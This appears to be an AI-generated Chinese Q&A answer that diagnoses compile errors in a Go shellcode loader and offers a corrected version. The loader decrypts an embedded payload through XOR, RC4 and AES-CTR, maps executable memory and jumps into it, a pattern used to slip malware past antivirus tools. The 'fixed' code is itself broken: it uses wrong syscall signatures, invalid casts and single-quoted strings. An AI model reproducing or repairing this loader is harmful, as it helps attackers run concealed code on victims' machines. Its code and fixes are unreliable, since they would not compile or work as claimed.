该代码存在以下问题:

  1. 缺少必要的包引用,例如 'fmt',需要添加。

  2. syscall.Mprotect 的第一个参数应为 uintptr 类型,而不是 unsafe.Pointer 类型。

  3. copy 函数的第一个参数应为 []byte 类型,而不是 *[1<<30]byte 类型。

  4. syscall.Syscall6 的第一个参数也应为 uintptr 类型,而不是 unsafe.Pointer 类型。

  5. syscall.SYS_MMAPsyscall.MAP_ANON 在不同的系统上可能不可用,应该使用更通用的 syscall.Mmap 函数来替代。

综上所述,需要修改的代码如下:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rc4"
    "encoding/base64"
    "encoding/hex"
    "fmt"
    "syscall"
    "unsafe"
)

func main() {
    encryptedShellcode := 'c864430a8f04ba703841e7eed9d0e45f7beea055a45c39a3aa1e6543b6010248b917154c1299dc4c4d90214e2665ba6f5d6f163b6bb5dc7bbe8f0cf145eecb9'

    // 解密shellcode
    key, _ := base64.StdEncoding.DecodeString('wNnqnB8KmCX/gX9Ddv3xq3W7M8sJtKsRt102nIRtxF0=')
    decodeShellcode, _ := hex.DecodeString(encryptedShellcode)
    for i := 0; i < len(decodeShellcode); i++ {
        decodeShellcode[i] ^= key[i%len(key)]
    }
    rc4Cipher, _ := rc4.NewCipher(key)
    rc4Cipher.XORKeyStream(decodeShellcode, decodeShellcode)
    block, _ := aes.NewCipher(key)
    iv := decodeShellcode[:aes.BlockSize]
    stream := cipher.NewCTR(block, iv)
    stream.XORKeyStream(decodeShellcode[aes.BlockSize:], decodeShellcode[aes.BlockSize:])

    // 获取内存页大小
    pageSize := uint64(syscall.Getpagesize())

    // 分配内存空间
    addr, _, err := syscall.Mmap(0, 0, int(pageSize), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON|syscall.MAP_PRIVATE)
    if err != nil {
        panic(err)
    }

    // 将shellcode复制到内存空间
    _, err = syscall.Mprotect(uintptr(addr), pageSize, syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC)
    if err != nil {
        panic(err)
    }
    copy(addr, decodeShellcode)

    // 跳转到shellcode
    syscall.Syscall6(uintptr(addr), 0, 0, 0, 0, 0, 0)
}
Go 代码分析:编译错误及修复方案

原文地址: https://www.cveoy.top/t/topic/lP38 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录